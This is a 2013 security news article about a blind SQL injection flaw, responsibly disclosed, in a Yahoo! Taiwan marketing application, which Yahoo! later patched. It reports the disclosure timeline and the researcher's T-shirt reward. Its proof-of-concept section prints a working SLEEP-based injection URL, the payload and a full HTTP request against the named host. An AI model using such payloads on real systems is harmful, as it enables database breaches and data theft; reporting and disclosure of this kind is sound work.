Yahoo! Blind SQL Injection could lead to data leakage

Pierluigi Paganini April 26, 2013

Yahoo! Blind SQL Injection could allow attackers can inject own SQL commands

A Yahoo! Blind SQL Injection has been discovered by an Egyptian information security advisor … What could be the problems arising?

Data leakages are the nightmares of every administration of databases, a growing number of services are exposed on the Internet with related data,
Billion of customers’ record and confidential data have been published on the network.

Government institutions, big enterprises, popular vendors, subcontractors and intelligence agencies are exposed to serious risks in case of attacks.

Ebrahim Hegazy(@Zigoo0) an Egyptian information security advisor who found a high severity vulnerability in “Avira license daemon” days ago, is in the news again, but this time for finding and reporting Blind SQL Injection vulnerability in one of Yahoo! E-marketing applications.
SQL Injection vulnerabilities are ranked as Critical vulnerabilities, underestimate them is a serious error because hackers could exploit this technique to cause a database breach which will lead to confidential information leakage.

A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.
The vulnerability allows remote attackers to inject own SQL commands to breach the database of that vulnerable application and get access to the user data, the event could have catastrophic repercussions for the victims, in many cases data collected in this way are sold in the underground and are used for further spear phishing attacks that’s way similar flaw must considered with high priority. Fortunately this type of vulnerability is easily correctable, it is necessary in fact that developers validate with care the user’s input during the interaction with exposed services.

Yahoo! Blind SQL Injection

The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the seed parameter the attackers can inject own SQL commands to compromise the web server application DBMS.

The vulnerability can be exploited by remote attackers without privileged application user account and without requiring user interaction. Successful exploitation of the SQL injection vulnerability results in application and application service DBMS compromise.

Vulnerable Service(s):	[+] Yahoo! Inc - TW YSM Marketing
Vulnerable Module(s):	[+] soeasy
Vulnerable Module(s):	[+] index.php
Vulnerable Parameter(s):[+] scId

But the Ebrahim is a white hat, so he reported the vulnerability to the Yahoo! The security team with recommendations on how to patch the vulnerability.
According to Ebrahim, the time line of the vulnerability was:

================================================

  • 2013-02-24:    Researcher Notification & Coordination
  • 2013-02-25:    Vendor Notification
  • 2013-03-01:    Vendor Response/Feedback
  • 2013-04-01:    Vendor Fix/Patch by check

================================================

Proof of Concept

The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without 
required user interaction. For demonstration or reproduce ...

Vulnerable Service Domain:		tw.ysm.emarketing.yahoo.com
Vulnerable Module:			soeasy
Vulnerable File:			index.php
Vulnerable Parameters:			?p=2&scId=

POC:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--

Payload:
1; union select SLEEP(5)--

Request:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--

GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1
Host: tw.ysm.emarketing.yahoo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118xilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
DNT: 1
Connection: keep-alive

HTTP/1.0 200 OK
Date: Sun, 24 Feb 2013 02:16:48 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi 
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Solution

The vulnerability can be patched by a restriction and secure parse of the scId parameter request.

More details about the vulnerability could be found here:

http://www.resecure.me/public/Yahoo-TW-YSM-BSQLI.txt

As most of the readers know that Yahoo! doesn’t have a bug bounty program or Hall of fame too, so as a reward from Yahoo! for the researchers who finds a vulnerability in Yahoo! Applications, they do award researchers by sending them a T-shirts with Yahoo! logo and some other tokens.
The researcher told me that he received a package sent to him by Yahoo! containing 2 T-shirts and a big cup …

Lean reward, what do you think? Dear Yahoo the next time you may be the victim of black hat … and a cost will be surely superior to a T-shirt, I think it’s time to give proper value to these discoveries as done by other companies.

Credits

Ebrahim Hegazy is an information security advisor @Starware Group, acknowledged by Google, Microsoft and Ebay for finding and reporting multiple vulnerabilities in their applications.

Pierluigi Paganini

(Security Affairs – Hacking)



you might also like

leave a comment